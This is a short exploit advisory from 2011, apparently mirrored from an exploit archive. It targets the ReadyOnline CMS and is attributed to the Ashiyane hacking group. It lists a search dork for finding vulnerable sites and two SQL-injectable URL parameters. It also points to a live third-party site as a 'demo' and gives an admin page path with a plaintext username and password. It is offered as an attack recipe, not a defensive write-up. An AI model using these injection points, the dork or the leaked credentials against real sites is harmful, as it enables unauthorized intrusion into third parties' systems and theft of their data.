ReadyOnline CMS SQL Injection & Easy Login Vulnerability

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- In The Name Of God -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

--------------------------------------------------------------------------------
@ ReadyOnline CMS SQL Injection & Easy Login Vulnerability
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
# Name:ReadyOnline CMS SQL Injection & Easy Login Vulnerability
# Vendor: http://Readyonline.net/
# Date: 2011-07-04
# Author: Ashiyane Digital Security Team
# Thanks to: 1337day.com,Exploit-db.com
# Contact: mafia [Dot]blackhat[at]YaHoo[Dot]com
# Home: www.ashiyane.org/forums/
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
[+] Dork: intext:"Site By ReadyOnline"
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
[+] Vulnerabilities ~>

[+] Vulnerability: http://127.0.0.1/productsDetail.php?productID='SQL'

[+] Vulnerability2: http://127.0.0.1/webboardDetail.php?id='SQL'

[+] Demo : http://www.tk-cleaning.com/productsDetail.php?id=37
--------------------------------------------------------------------------------

[+] Admin Page(s) : http://127.0.0.1/cms

Username : wanlop , Password : wanlop+lertmongkol
===========================================================================
@ Gr33tz:
@ Ashiyane Members :
@ Behrooz_Ice,Q7,Virangar,Iman_taktaz,Keivan,Ali_eagle,ruin3r,Hijacker,Rz04
@ Taghva,M3QD4D,PrinceOfHacking,Hidden-Hunter,Root3r,elvator,unique2world
@ Gladiator,Encoder,mmilad200,n3me3iz,Classic,r3d.z0n3,injector,zend,milad-bushehr,HidDeEn

And All Ashiyane C0ders
===========================================================================

ASHIYANE DIGITAL SECURITY TEAM

WE LOVE IRAN

<<./By MojiRider >>



#  0day.today [2018-01-03]  #